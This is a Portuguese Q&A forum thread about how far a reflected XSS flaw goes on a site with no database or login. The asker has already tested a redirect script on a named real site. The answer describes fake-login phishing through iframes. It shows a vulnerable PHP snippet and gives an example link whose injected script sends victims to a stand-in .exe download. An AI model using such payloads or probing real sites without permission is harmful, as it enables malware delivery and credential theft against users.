Q:

Como danificar um site usando XSS/SQL injection?

Não sou nenhum tipo de hacker, mas conheço algumas técnicas. Eu estou treinando segurança e fiquei realmente pensativo em relação à questão. Toda vez que injeto um script, é um alert(), nada perigoso para o host (por exemplo). Não tenho site, não haveria como encaminhar cookies. Qual é o grande risco de uma falha XSS em um site sem DB/sistema de login? Tenho um site real aqui (http://www.verinha.de/commentary_english.htm) que achei mechendo na internet. Sim, é um erro potencial, porém, como o site não tem sistema de login, e não sei de nada que um black hat possa fazer. O que "hackers/crackers" de verdade fariam? 
PS: para experimentar no que dava, escrevi <script>window.location = "https://www.google.com";</script>. Fui encaminhado para o Google e voltei à pagina. Nada aconteceu.

A:

Não existe uma forma certa de explorar isso. Basicamente você precisa entender quem acessa o site e qual o foco dos usuários e muitas vezes não basta somente utilizar uma técnica, por exemplo: 
Vamos supor que os usuários do site em questão possuam conta no Site XPTO. Você poderia criar um redirecionamento ou um iframe para uma página false do Site XPTO com um formulário e copiar estes dados. Como o usuário entrou sozinho no Site que possui o problema de XSS ele não vai achar que esta sendo enganado. Outro exemplo seria incluir um redirecionamento para um .exe com objetivos de atacar o computador do usuário. Isso é comumente visto com páginas de banco ou de carteiras virtuais.
No exemplo em questão o XSS não é persistente, ou seja ele não fica salvo dentro da página, possivelmente não existe um banco de dados.
Neste caso a técnica tem que ser adaptada, é comum passar o script por meio de GET quando o problema utiliza algum campo de formulário. 
<?php
$name = $_GET['nome'];
echo "Bem vindo $nome<br>";
?>

Este é um exemplo muito parecido com o site mencionado, a diferença é que as informações são passadas por meio de GET do PHP e não por meio do Prompt do JavaScript.
Neste caso bastaria enviar para os usuários um link como
http://sitexpto.com.br/?nome=<script>location.href='http://link.para/arquivo.exe';</script>
Uma variante desta técnica foi bastante utilizada na época do Orkut, a Google já utilizava o login "Com conta Google" por padrão, porém existia um parâmetro adicional chamado redirect, muitos enviavam esta url com um redirecionamento para um arquivo .exe ou uma página falsa de login. Eu sei que o problema não era relacionado com XSS porém acho valido mencionar.
No site http://www.verinha.de realmente existe um problema de XSS, porém ao analisar o código fonte é possível ver que o resultado não é armazenado em nenhum lugar, e que não é possível informar o valor pela url. De forma geral não existe uma aplicação neste caso, pelo menos não utilizando somente esta técnica.
Espero ter complementado em algo.

